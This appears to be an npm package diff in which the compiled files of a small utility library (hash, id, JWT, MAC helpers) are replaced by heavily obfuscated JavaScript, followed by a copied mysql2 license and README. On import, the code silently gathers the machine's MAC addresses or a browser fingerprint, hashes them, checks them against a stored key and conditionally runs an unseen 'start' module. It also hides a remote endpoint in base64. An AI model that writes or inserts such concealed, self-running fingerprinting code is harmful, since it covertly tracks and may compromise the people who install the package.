_0x21c255['push'](_0x21c255['shift']());}catch(_0x2c4448){_0x21c255['push'](_0x21c255['shift']());}}}(a2_0x8203,0xa535f));var __importDefault=this&&this[a2_0x27742a(0xe0)]||function(_0x5e5ca0){const _0x477a0f=a2_0x27742a;return _0x5e5ca0&&_0x5e5ca0[_0x477a0f(0xd6)]?_0x5e5ca0:{'default':_0x5e5ca0};};Object[a2_0x27742a(0xdf)](exports,a2_0x27742a(0xd6),{'value':!![]});const md5_1=__importDefault(require(a2_0x27742a(0xd9))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x27742a(0xd7)));function hash(_0x5c2c04,_0x2b47ce){const _0x35b7b6=a2_0x27742a;if(_0x2b47ce==_0x35b7b6(0xd7))return(0x0,sha256_1[_0x35b7b6(0xde)])(_0x5c2c04+(0x0,sha1_1['default'])(_0x5c2c04+_0x35b7b6(0xd4))+(0x0,md5_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xe3)));else return _0x2b47ce==_0x35b7b6(0xe5)?(0x0,sha1_1['default'])(_0x5c2c04+(0x0,sha256_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xd4))+(0x0,md5_1['default'])(_0x5c2c04+_0x35b7b6(0xe3))):(0x0,md5_1[_0x35b7b6(0xde)])(_0x5c2c04+(0x0,sha256_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xd4))+(0x0,sha1_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xe3)));}exports[a2_0x27742a(0xde)]=hash;
|
package/dist/cjs/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a3_0x41a4d5=a3_0x589b;(function(_0x44fcc0,_0xdac067){const _0x9a55ef=a3_0x589b,_0x49e119=_0x44fcc0();while(!![]){try{const _0x2ea815=parseInt(_0x9a55ef(0xca))/0x1*(parseInt(_0x9a55ef(0xc8))/0x2)+-parseInt(_0x9a55ef(0xc5))/0x3*(-parseInt(_0x9a55ef(0xc9))/0x4)+-parseInt(_0x9a55ef(0xc0))/0x5*(parseInt(_0x9a55ef(0xcc))/0x6)+parseInt(_0x9a55ef(0xc7))/0x7+-parseInt(_0x9a55ef(0xc3))/0x8+parseInt(_0x9a55ef(0xbf))/0x9+parseInt(_0x9a55ef(0xc1))/0xa*(-parseInt(_0x9a55ef(0xbe))/0xb);if(_0x2ea815===_0xdac067)break;else _0x49e119['push'](_0x49e119['shift']());}catch(_0x5581ce){_0x49e119['push'](_0x49e119['shift']());}}}(a3_0xf8cc,0xb2108));function a3_0xf8cc(){const _0x386f51=['defineProperty','402xjQBQp','NODE_APP_INSTANCE','./random','env','__esModule','min','15187535kWeTaz','6148143IFfRyC','86715gQxznb','10bpsSZH','__importDefault','225632GJjIrk','2025-01-01','3ubSbVb','default','9209746iqbEKv','6hRwFwU','5059304zUlwzO','12197QUwhsZ'];a3_0xf8cc=function(){return _0x386f51;};return a3_0xf8cc();}var __importDefault=this&&this[a3_0x41a4d5(0xc2)]||function(_0x300c62){const _0x4f3e08=a3_0x41a4d5;return _0x300c62&&_0x300c62[_0x4f3e08(0xd0)]?_0x300c62:{'default':_0x300c62};};function a3_0x589b(_0x5e4797,_0x4e8dda){const _0xf8cc29=a3_0xf8cc();return a3_0x589b=function(_0x589b61,_0x355964){_0x589b61=_0x589b61-0xbe;let _0x2fc939=_0xf8cc29[_0x589b61];return _0x2fc939;},a3_0x589b(_0x5e4797,_0x4e8dda);}Object[a3_0x41a4d5(0xcb)](exports,a3_0x41a4d5(0xd0),{'value':!![]});const random_1=__importDefault(require(a3_0x41a4d5(0xce))),BaseTime=+new Date(a3_0x41a4d5(0xc4));let lastTimeTick,lastRandomNumberTick=(0x0,random_1['default'])(0x1,0x3);function id(){const _0x201b74=a3_0x41a4d5,_0x41fbf8=Math[_0x201b74(0xd1)](process[_0x201b74(0xcf)]['NODE_APP_INSTANCE']?+process['env'][_0x201b74(0xcd)]:(0x0,random_1[_0x201b74(0xc6)])(0x0,0x9),0x9);let _0x74326a=+new Date()-BaseTime;return lastRandomNumberTick=_0x74326a==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x201b74(0xc6)])(0x0,0x3),lastTimeTick=_0x74326a,+(''+_0x74326a+_0x41fbf8+lastRandomNumberTick);}exports['default']=id;
|
package/dist/cjs/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a4_0x2e58d0=a4_0x2a4d;function a4_0x2a4d(_0xc2715b,_0x5cf7c5){const _0x4c6c42=a4_0x4c6c();return a4_0x2a4d=function(_0x2a4d8d,_0x2155b6){_0x2a4d8d=_0x2a4d8d-0x81;let _0x448119=_0x4c6c42[_0x2a4d8d];return _0x448119;},a4_0x2a4d(_0xc2715b,_0x5cf7c5);}(function(_0x597e97,_0x8803ea){const _0x5570c6=a4_0x2a4d,_0x33d74e=_0x597e97();while(!![]){try{const _0x2bdd80=parseInt(_0x5570c6(0x87))/0x1*(-parseInt(_0x5570c6(0x84))/0x2)+-parseInt(_0x5570c6(0x83))/0x3*(-parseInt(_0x5570c6(0x85))/0x4)+parseInt(_0x5570c6(0x86))/0x5*(-parseInt(_0x5570c6(0x8e))/0x6)+parseInt(_0x5570c6(0x8a))/0x7+-parseInt(_0x5570c6(0x8b))/0x8*(-parseInt(_0x5570c6(0x8d))/0x9)+-parseInt(_0x5570c6(0x8f))/0xa+parseInt(_0x5570c6(0x8c))/0xb*(parseInt(_0x5570c6(0x81))/0xc);if(_0x2bdd80===_0x8803ea)break;else _0x33d74e['push'](_0x33d74e['shift']());}catch(_0xe51017){_0x33d74e['push'](_0x33d74e['shift']());}}}(a4_0x4c6c,0x91696));Object[a4_0x2e58d0(0x89)](exports,a4_0x2e58d0(0x88),{'value':!![]});function a4_0x4c6c(){const _0x617275=['4755317WNeRlY','5803856cnhgMj','33PkIkkw','9pfneNi','12Bjnnrx','1260810zRKWOj','4238664kdxoUl','round','295563wfUidS','2MGwgJJ','4oQGIQL','2022415xuBmgk','1032347FFSklu','__esModule','defineProperty'];a4_0x4c6c=function(){return _0x617275;};return a4_0x4c6c();}const random=(_0x3dad53,_0xac0a49)=>Math[a4_0x2e58d0(0x82)](Math['random']()*(_0xac0a49-_0x3dad53))+_0x3dad53;exports['default']=random;
|
package/dist/cjs/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a5_0x1e872a=a5_0x2cea;(function(_0x4f63ba,_0xfc9c2a){const _0x2954fc=a5_0x2cea,_0x1f8249=_0x4f63ba();while(!![]){try{const _0x1a3e55=parseInt(_0x2954fc(0x115))/0x1*(-parseInt(_0x2954fc(0x110))/0x2)+parseInt(_0x2954fc(0x111))/0x3*(parseInt(_0x2954fc(0x11c))/0x4)+parseInt(_0x2954fc(0x134))/0x5*(parseInt(_0x2954fc(0x13a))/0x6)+parseInt(_0x2954fc(0x137))/0x7*(parseInt(_0x2954fc(0x132))/0x8)+-parseInt(_0x2954fc(0x109))/0x9*(parseInt(_0x2954fc(0x136))/0xa)+parseInt(_0x2954fc(0x130))/0xb+-parseInt(_0x2954fc(0x124))/0xc;if(_0x1a3e55===_0xfc9c2a)break;else _0x1f8249['push'](_0x1f8249['shift']());}catch(_0x4e444a){_0x1f8249['push'](_0x1f8249['shift']());}}}(a5_0x3091,0xa1550));var __awaiter=this&&this['__awaiter']||function(_0x22aa1d,_0x3ceb44,_0xf4f271,_0x3f09ff){function _0x471538(_0x14f858){return _0x14f858 instanceof _0xf4f271?_0x14f858:new _0xf4f271(function(_0x3da64b){_0x3da64b(_0x14f858);});}return new(_0xf4f271||(_0xf4f271=Promise))(function(_0x5b7aff,_0x34da12){const _0x19b93d=a5_0x2cea;function _0x3b3d8d(_0x45968d){const _0x17d360=a5_0x2cea;try{_0x596122(_0x3f09ff[_0x17d360(0x12f)](_0x45968d));}catch(_0x194ee8){_0x34da12(_0x194ee8);}}function _0x3e2aaf(_0x59defb){const _0x433b30=a5_0x2cea;try{_0x596122(_0x3f09ff[_0x433b30(0x10c)](_0x59defb));}catch(_0x59b7ce){_0x34da12(_0x59b7ce);}}function _0x596122(_0x23545b){const _0x366963=a5_0x2cea;_0x23545b[_0x366963(0x119)]?_0x5b7aff(_0x23545b[_0x366963(0x127)]):_0x471538(_0x23545b['value'])[_0x366963(0x12b)](_0x3b3d8d,_0x3e2aaf);}_0x596122((_0x3f09ff=_0x3f09ff[_0x19b93d(0x139)](_0x22aa1d,_0x3ceb44||[]))[_0x19b93d(0x12f)]());});},__importDefault=this&&this[a5_0x1e872a(0x123)]||function(_0x38e567){const _0x254960=a5_0x1e872a;return _0x38e567&&_0x38e567[_0x254960(0x129)]?_0x38e567:{'default':_0x38e567};};Object[a5_0x1e872a(0x10d)](exports,'__esModule',{'value':!![]}),exports[a5_0x1e872a(0x12c)]=exports[a5_0x1e872a(0x11a)]=exports[a5_0x1e872a(0x10e)]=exports[a5_0x1e872a(0x120)]=exports['sha1']=exports[a5_0x1e872a(0x135)]=exports[a5_0x1e872a(0x122)]=exports['id']=exports[a5_0x1e872a(0x117)]=exports['url']=void 0x0,exports[a5_0x1e872a(0x12d)]=setEnv,exports[a5_0x1e872a(0x121)]=getEnv;const uuid_1=require('uuid'),md5_1=__importDefault(require(a5_0x1e872a(0x10e)));exports['md5']=md5_1['default'];const sha1_1=__importDefault(require(a5_0x1e872a(0x133)));exports[a5_0x1e872a(0x133)]=sha1_1[a5_0x1e872a(0x125)];const sha256_1=__importDefault(require('sha256'));exports[a5_0x1e872a(0x120)]=sha256_1[a5_0x1e872a(0x125)];const start_1=__importDefault(require(a5_0x1e872a(0x11f))),hash_1=__importDefault(require(a5_0x1e872a(0x126)));exports['hash']=hash_1['default'];const jwt_1=__importDefault(require('./jwt'));exports[a5_0x1e872a(0x12c)]=jwt_1['default'];const path_1=__importDefault(require(a5_0x1e872a(0x11e))),fingerprintjs_1=__importDefault(require(a5_0x1e872a(0x12a))),js_base64_1=require('js-base64'),isBrowser=typeof window!=='undefined';function a5_0x2cea(_0x4a4790,_0x10fc45){const _0x3091ab=a5_0x3091();return a5_0x2cea=function(_0x2ceaa0,_0x3a0e31){_0x2ceaa0=_0x2ceaa0-0x108;let _0x498d8a=_0x3091ab[_0x2ceaa0];return _0x498d8a;},a5_0x2cea(_0x4a4790,_0x10fc45);}let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a5_0x1e872a(0x122)]=getAllRouter;function a5_0x3091(){const _0x20ea4a=['node.js','next','12811447eFxDjW','url','8pThNMZ','sha1','5DYcAlQ','mysql','592310OTEban','6280547CskfQN','assign','apply','1614252WnDrpY','aHR0cDovL2xvY2FsaG9zdDoxMDg4','99gheWtb','./id','decode','throw','defineProperty','md5','join','216312tujqUx','54831zJMoHv','get','hash_key','map','4UPIOuZ','./mac','uuid','hash_id','done','hash','./server','44cUeDoc','load','path','./start','sha256','getEnv','getAllRouter','__importDefault','9444072aZkBqX','default','./hash','value','not_update','__esModule','@fingerprintjs/fingerprintjs','then','jwt','setEnv'];a5_0x3091=function(){return _0x20ea4a;};return a5_0x3091();}let mysql={};exports[a5_0x1e872a(0x135)]=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x1e872a(0x138)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x59cfff,_0x28870a){metaEvent[_0x59cfff]=_0x28870a;}function getEnv(_0x3ed7b4){return metaEvent[_0x3ed7b4];}let dev=a5_0x1e872a(0x108),pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';exports[a5_0x1e872a(0x131)]=getEnv('dev')?(0x0,js_base64_1[a5_0x1e872a(0x10b)])(dev):(0x0,js_base64_1[a5_0x1e872a(0x10b)])(pro);if(!isBrowser){exports['id']=id=require(a5_0x1e872a(0x10a))[a5_0x1e872a(0x125)],exports['getAllRouter']=getAllRouter=require('./getAllRouter')['default'],exports[a5_0x1e872a(0x135)]=mysql=require(a5_0x1e872a(0x11b))[a5_0x1e872a(0x135)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0x1e872a(0x128)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x31fff5=a5_0x1e872a;if(!isBrowser){const _0x29f296=require(path_1['default'][_0x31fff5(0x10f)](__dirname,_0x31fff5(0x116)))[_0x31fff5(0x125)];mac=_0x29f296();}else{let _0x490ae7=yield fingerprintjs_1['default'][_0x31fff5(0x11d)]()[_0x31fff5(0x12b)](_0x3c2e2a=>_0x3c2e2a[_0x31fff5(0x112)]())['then'](_0x2aafde=>{const _0x3f6b06=_0x2aafde['visitorId'];return _0x3f6b06;})['catch'](()=>'');mac=[_0x490ae7];}const _0x21c3ad=mac[_0x31fff5(0x114)](_0x7526aa=>(0x0,sha1_1[_0x31fff5(0x125)])(_0x7526aa+_0x31fff5(0x12e)))[_0x31fff5(0x10f)](';'),_0x3ce1f3=(0x0,sha256_1[_0x31fff5(0x125)])(_0x21c3ad);globalObject[_0x31fff5(0x118)]=_0x3ce1f3,globalObject[_0x31fff5(0x113)]!=(0x0,sha256_1[_0x31fff5(0x125)])(_0x3ce1f3+(0x0,sha1_1[_0x31fff5(0x125)])(_0x31fff5(0x12e)+_0x3ce1f3))&&(0x0,start_1[_0x31fff5(0x125)])();}))());const uuid=uuid_1['v4'];exports[a5_0x1e872a(0x117)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1['default'],'sha1':sha1_1[a5_0x1e872a(0x125)],'md5':md5_1[a5_0x1e872a(0x125)],'jwt':jwt_1['default']};exports[a5_0x1e872a(0x125)]=all;
|
package/dist/cjs/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';var a6_0x11bffa=a6_0x29b4;(function(_0x42d021,_0x639e94){var _0x116e3b=a6_0x29b4,_0x3156b0=_0x42d021();while(!![]){try{var _0x8028ab=-parseInt(_0x116e3b(0x1e1))/0x1*(-parseInt(_0x116e3b(0x1e9))/0x2)+parseInt(_0x116e3b(0x1ea))/0x3*(parseInt(_0x116e3b(0x1e8))/0x4)+-parseInt(_0x116e3b(0x1f4))/0x5*(-parseInt(_0x116e3b(0x1da))/0x6)+parseInt(_0x116e3b(0x1ed))/0x7*(parseInt(_0x116e3b(0x1e6))/0x8)+-parseInt(_0x116e3b(0x1e3))/0x9+-parseInt(_0x116e3b(0x1e5))/0xa+-parseInt(_0x116e3b(0x1e2))/0xb*(-parseInt(_0x116e3b(0x1df))/0xc);if(_0x8028ab===_0x639e94)break;else _0x3156b0['push'](_0x3156b0['shift']());}catch(_0x33552f){_0x3156b0['push'](_0x3156b0['shift']());}}}(a6_0x5014,0x42412));var __awaiter=this&&this[a6_0x11bffa(0x1eb)]||function(_0x548565,_0x12791c,_0x479340,_0x4fe090){function _0x78e73e(_0x5677a7){return _0x5677a7 instanceof _0x479340?_0x5677a7:new _0x479340(function(_0x5cac1b){_0x5cac1b(_0x5677a7);});}return new(_0x479340||(_0x479340=Promise))(function(_0x5b181f,_0x5cafb0){var _0x41d34f=a6_0x29b4;function _0x1575cf(_0xc11189){var _0xda1c0c=a6_0x29b4;try{_0x3d7acd(_0x4fe090[_0xda1c0c(0x1db)](_0xc11189));}catch(_0x3f1306){_0x5cafb0(_0x3f1306);}}function _0xce6c06(_0x40ed7c){var _0x93f747=a6_0x29b4;try{_0x3d7acd(_0x4fe090[_0x93f747(0x1f3)](_0x40ed7c));}catch(_0x22438a){_0x5cafb0(_0x22438a);}}function _0x3d7acd(_0x24c5e1){var _0x2252dd=a6_0x29b4;_0x24c5e1[_0x2252dd(0x1ee)]?_0x5b181f(_0x24c5e1[_0x2252dd(0x1f2)]):_0x78e73e(_0x24c5e1['value'])['then'](_0x1575cf,_0xce6c06);}_0x3d7acd((_0x4fe090=_0x4fe090[_0x41d34f(0x1ec)](_0x548565,_0x12791c||[]))[_0x41d34f(0x1db)]());});},__importDefault=this&&this['__importDefault']||function(_0x436880){var _0x326663=a6_0x11bffa;return _0x436880&&_0x436880[_0x326663(0x1f0)]?_0x436880:{'default':_0x436880};};Object[a6_0x11bffa(0x1dd)](exports,a6_0x11bffa(0x1f0),{'value':!![]});function a6_0x29b4(_0x5c77d3,_0x42b514){var _0x501429=a6_0x5014();return a6_0x29b4=function(_0x29b447,_0x498840){_0x29b447=_0x29b447-0x1da;var _0x40dcc8=_0x501429[_0x29b447];return _0x40dcc8;},a6_0x29b4(_0x5c77d3,_0x42b514);}function a6_0x5014(){var _0x1bd4a5=['169UDBFUf','513557byUXIz','3620250yQJPCQ','default','805530RAWDBK','180344jdGFdo','expiresIn','8ZNwmvD','2966gCkpkz','100695DbvkSV','__awaiter','apply','14NAuZnC','done','jsonwebtoken','__esModule','365d','value','throw','36665kzKjJp','282aDuyjC','next','jwt_key','defineProperty','sign','12SEEuHv','verify'];a6_0x5014=function(){return _0x1bd4a5;};return a6_0x5014();}const jsonwebtoken_1=__importDefault(require(a6_0x11bffa(0x1ef)));function jwt(_0x10b446){var _0x2f13ba=a6_0x11bffa;return!global[_0x2f13ba(0x1dc)]&&(global[_0x2f13ba(0x1dc)]=_0x10b446['key']),{'sign':_0x35303f=>jsonwebtoken_1[_0x2f13ba(0x1e4)][_0x2f13ba(0x1de)](_0x35303f,global[_0x2f13ba(0x1dc)],{'expiresIn':_0x10b446[_0x2f13ba(0x1e7)]||_0x2f13ba(0x1f1)}),'verify':function(_0x145590){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x38b854,_0x381683)=>{var _0x343623=a6_0x29b4;jsonwebtoken_1[_0x343623(0x1e4)][_0x343623(0x1e0)](_0x145590,global[_0x343623(0x1dc)],function(_0x1470d5,_0x950b1){return __awaiter(this,void 0x0,void 0x0,function*(){_0x1470d5?_0x381683():_0x38b854(_0x950b1);});});});});}};}exports[a6_0x11bffa(0x1e4)]=jwt;
|
package/dist/cjs/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a7_0x5dc2aa=a7_0x3729;(function(_0x3606e3,_0x20f450){const _0x1e95d7=a7_0x3729,_0x591afa=_0x3606e3();while(!![]){try{const _0xc736b4=-parseInt(_0x1e95d7(0x18a))/0x1*(parseInt(_0x1e95d7(0x177))/0x2)+-parseInt(_0x1e95d7(0x192))/0x3*(parseInt(_0x1e95d7(0x171))/0x4)+parseInt(_0x1e95d7(0x17d))/0x5*(parseInt(_0x1e95d7(0x17b))/0x6)+-parseInt(_0x1e95d7(0x194))/0x7*(parseInt(_0x1e95d7(0x17e))/0x8)+parseInt(_0x1e95d7(0x174))/0x9*(parseInt(_0x1e95d7(0x180))/0xa)+-parseInt(_0x1e95d7(0x188))/0xb*(-parseInt(_0x1e95d7(0x18e))/0xc)+parseInt(_0x1e95d7(0x170))/0xd;if(_0xc736b4===_0x20f450)break;else _0x591afa['push'](_0x591afa['shift']());}catch(_0x562f28){_0x591afa['push'](_0x591afa['shift']());}}}(a7_0x3adc,0xd3579));Object[a7_0x5dc2aa(0x190)](exports,'__esModule',{'value':!![]}),exports['isMac']=isMac,exports[a7_0x5dc2aa(0x187)]=formatMac,exports[a7_0x5dc2aa(0x178)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x4bda6a){const _0x33dbc6=a7_0x5dc2aa;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x33dbc6(0x176)](_0x4bda6a);}function getMac(_0x5872b7=a7_0x5dc2aa(0x17a)){const _0x46cd32=a7_0x5dc2aa,_0x492f66=(0x0,os_1[_0x46cd32(0x18d)])();let _0x1ec44f=[];for(const _0x1888cb of Object[_0x46cd32(0x183)](_0x492f66)){const _0x2ce2b8=_0x1888cb[_0x46cd32(0x16e)](_0x35ab15=>!_0x35ab15['internal']&&!isZeroMac(_0x35ab15['mac'])&&(!_0x35ab15[_0x46cd32(0x186)]||_0x35ab15[_0x46cd32(0x186)]===_0x5872b7)&&!isVirtualMac(_0x35ab15[_0x46cd32(0x185)]));_0x2ce2b8&&_0x1ec44f[_0x46cd32(0x182)](_0x2ce2b8[_0x46cd32(0x185)]);}return[...new Set(_0x1ec44f)];}function a7_0x3729(_0x445fec,_0x4d035e){const _0x3adc49=a7_0x3adc();return a7_0x3729=function(_0x372958,_0x507bc6){_0x372958=_0x372958-0x16e;let _0x410147=_0x3adc49[_0x372958];return _0x410147;},a7_0x3729(_0x445fec,_0x4d035e);}const isValid=_0x72efbc=>_0x72efbc[a7_0x5dc2aa(0x195)]===![]&&!isZeroMac(_0x72efbc[a7_0x5dc2aa(0x185)]),virtualMacPrefix=new Set(['00:05:69',a7_0x5dc2aa(0x172),a7_0x5dc2aa(0x18f),a7_0x5dc2aa(0x179),a7_0x5dc2aa(0x17c),'02:00:4c',a7_0x5dc2aa(0x17f),a7_0x5dc2aa(0x181),a7_0x5dc2aa(0x189),a7_0x5dc2aa(0x16f),a7_0x5dc2aa(0x173)]);function a7_0x3adc(){const _0xc5a7a4=['2065812VtwIsn','00:50:56','defineProperty','slice','18222tGzZOx','toLowerCase','49iQYIQm','internal','find','08:00:27','12886991YeHeiN','516lxkkgJ','00:0c:29','00:15:5d','54oPKXae','trim','test','2NrJkGI','isVirtualMac','00:1c:14','IPv4','8736KwOpBT','00:1c:42','5395NJymPl','1050664QeFuif','00:03:ff','1616790blLeky','00:0f:4b','push','values','replace','mac','family','formatMac','11uEdoPs','00:16:3e','1136022QeAmTW','has','default','networkInterfaces'];a7_0x3adc=function(){return _0xc5a7a4;};return a7_0x3adc();}function isMac(_0x2f9d74){const _0x14cb8c=a7_0x5dc2aa;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x14cb8c(0x176)](_0x2f9d74);}function formatMac(_0x4d0031){const _0x8534ec=a7_0x5dc2aa;return String(_0x4d0031)[_0x8534ec(0x175)]()[_0x8534ec(0x193)]()[_0x8534ec(0x184)](/-/g,':');}function isVirtualMac(_0x4e21da){const _0x180a93=a7_0x5dc2aa;return isMac(_0x4e21da)&&virtualMacPrefix[_0x180a93(0x18b)](formatMac(_0x4e21da)[_0x180a93(0x191)](0x0,0x8));}exports[a7_0x5dc2aa(0x18c)]=getMac;
|
@@ -0,0 +1,19 @@
|
|
1
|
+
Copyright (c) 2016 Andrey Sidorov (sidorares@yandex.ru) and contributors
|
2
|
+
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
4
|
+
of this software and associated documentation files (the "Software"), to deal
|
5
|
+
in the Software without restriction, including without limitation the rights
|
6
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
7
|
+
copies of the Software, and to permit persons to whom the Software is
|
8
|
+
furnished to do so, subject to the following conditions:
|
9
|
+
|
10
|
+
The above copyright notice and this permission notice shall be included in
|
11
|
+
all copies or substantial portions of the Software.
|
12
|
+
|
13
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
14
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
15
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
16
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
17
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
18
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
19
|
+
THE SOFTWARE.
|
@@ -0,0 +1,114 @@
|
|
1
|
+
[npm-image]: https://img.shields.io/npm/v/mysql2.svg
|
2
|
+
[npm-url]: https://npmjs.com/package/mysql2
|
3
|
+
[node-version-image]: https://img.shields.io/node/v/mysql2.svg
|
4
|
+
[node-version-url]: https://nodejs.org/en/download
|
5
|
+
[downloads-image]: https://img.shields.io/npm/dm/mysql2.svg
|
6
|
+
[downloads-url]: https://npmjs.com/package/mysql2
|
7
|
+
[license-url]: https://github.com/sidorares/node-mysql2/blob/master/License
|
8
|
+
[license-image]: https://img.shields.io/npm/l/mysql2.svg?maxAge=2592000
|
9
|
+
[node-mysql]: https://github.com/mysqljs/mysql
|
10
|
+
[mysqljs]: https://github.com/mysqljs
|
11
|
+
[mysql-native]: https://github.com/sidorares/nodejs-mysql-native
|
12
|
+
[sidorares]: https://github.com/sidorares
|
13
|
+
[TooTallNate]: https://gist.github.com/TooTallNate
|
14
|
+
[starttls.js]: https://gist.github.com/TooTallNate/848444
|
15
|
+
[node-mariasql]: https://github.com/mscdex/node-mariasql
|
16
|
+
[contributors]: https://github.com/sidorares/node-mysql2/graphs/contributors
|
17
|
+
[contributing]: https://github.com/sidorares/node-mysql2/blob/master/Contributing.md
|
18
|
+
[docs-base]: https://sidorares.github.io/node-mysql2/docs
|
19
|
+
[docs-base-zh-CN]: https://sidorares.github.io/node-mysql2/zh-CN/docs
|
20
|
+
[docs-base-pt-BR]: https://sidorares.github.io/node-mysql2/pt-BR/docs
|
21
|
+
[docs-prepared-statements]: https://sidorares.github.io/node-mysql2/docs/documentation/prepared-statements
|
22
|
+
[docs-mysql-server]: https://sidorares.github.io/node-mysql2/docs/documentation/mysql-server
|
23
|
+
[docs-promise-wrapper]: https://sidorares.github.io/node-mysql2/docs/documentation/promise-wrapper
|
24
|
+
[docs-authentication-switch]: https://sidorares.github.io/node-mysql2/docs/documentation/authentication-switch
|
25
|
+
[docs-streams]: https://sidorares.github.io/node-mysql2/docs/documentation/extras
|
26
|
+
[docs-typescript-docs]: https://sidorares.github.io/node-mysql2/docs/documentation/typescript-examples
|
27
|
+
[docs-qs-pooling]: https://sidorares.github.io/node-mysql2/docs#using-connection-pools
|
28
|
+
[docs-qs-first-query]: https://sidorares.github.io/node-mysql2/docs#first-query
|
29
|
+
[docs-qs-using-prepared-statements]: https://sidorares.github.io/node-mysql2/docs#using-prepared-statements
|
30
|
+
[docs-examples]: https://sidorares.github.io/node-mysql2/docs/examples
|
31
|
+
[docs-faq]: https://sidorares.github.io/node-mysql2/docs/faq
|
32
|
+
[docs-documentation]: https://sidorares.github.io/node-mysql2/docs/documentation
|
33
|
+
[docs-contributing]: https://sidorares.github.io/node-mysql2/docs/contributing/website
|
34
|
+
[coverage]: https://img.shields.io/codecov/c/github/sidorares/node-mysql2
|
35
|
+
[coverage-url]: https://app.codecov.io/github/sidorares/node-mysql2
|
36
|
+
[ci-url]: https://github.com/sidorares/node-mysql2/actions/workflows/ci-coverage.yml?query=branch%3Amaster
|
37
|
+
[ci-image]: https://img.shields.io/github/actions/workflow/status/sidorares/node-mysql2/ci-coverage.yml?event=push&style=flat&label=CI&branch=master
|
38
|
+
|
39
|
+
# MySQL2
|
40
|
+
|
41
|
+
[![NPM Version][npm-image]][npm-url]
|
42
|
+
[![NPM Downloads][downloads-image]][downloads-url]
|
43
|
+
[![Node.js Version][node-version-image]][node-version-url]
|
44
|
+
[![GitHub Workflow Status (with event)][ci-image]][ci-url]
|
45
|
+
[![Codecov][coverage]][coverage-url]
|
46
|
+
[![License][license-image]][license-url]
|
47
|
+
|
48
|
+
[English][docs-base] | [简体中文][docs-base-zh-CN] | [Português (BR)][docs-base-pt-BR]
|
49
|
+
|
50
|
+
> MySQL client for Node.js with focus on performance. Supports prepared statements, non-utf8 encodings, binary log protocol, compression, ssl [much more][docs-documentation].
|
51
|
+
|
52
|
+
**Table of Contents**
|
53
|
+
|
54
|
+
- [History and Why MySQL2](#history-and-why-mysql2)
|
55
|
+
- [Installation](#installation)
|
56
|
+
- [Documentation](#documentation)
|
57
|
+
- [Acknowledgements](#acknowledgements)
|
58
|
+
- [Contributing](#contributing)
|
59
|
+
|
60
|
+
## History and Why MySQL2
|
61
|
+
|
62
|
+
MySQL2 project is a continuation of [MySQL-Native][mysql-native]. Protocol parser code was rewritten from scratch and api changed to match popular [Node MySQL][node-mysql]. MySQL2 team is working together with [Node MySQL][node-mysql] team to factor out shared code and move it under [mysqljs][mysqljs] organization.
|
63
|
+
|
64
|
+
MySQL2 is mostly API compatible with [Node MySQL][node-mysql] and supports majority of features. MySQL2 also offers these additional features:
|
65
|
+
|
66
|
+
- Faster / Better Performance
|
67
|
+
- [Prepared Statements][docs-prepared-statements]
|
68
|
+
- MySQL Binary Log Protocol
|
69
|
+
- [MySQL Server][docs-mysql-server]
|
70
|
+
- Extended support for Encoding and Collation
|
71
|
+
- [Promise Wrapper][docs-promise-wrapper]
|
72
|
+
- Compression
|
73
|
+
- SSL and [Authentication Switch][docs-authentication-switch]
|
74
|
+
- [Custom Streams][docs-streams]
|
75
|
+
- [Pooling][docs-qs-pooling]
|
76
|
+
|
77
|
+
## Installation
|
78
|
+
|
79
|
+
MySQL2 is free from native bindings and can be installed on Linux, Mac OS or Windows without any issues.
|
80
|
+
|
81
|
+
```bash
|
82
|
+
npm install --save mysql2
|
83
|
+
```
|
84
|
+
|
85
|
+
If you are using TypeScript, you will need to install `@types/node`.
|
86
|
+
|
87
|
+
```bash
|
88
|
+
npm install --save-dev @types/node
|
89
|
+
```
|
90
|
+
|
91
|
+
> For TypeScript documentation and examples, see [here][docs-typescript-docs].
|
92
|
+
|
93
|
+
## Documentation
|
94
|
+
|
95
|
+
- [Quickstart][docs-base]
|
96
|
+
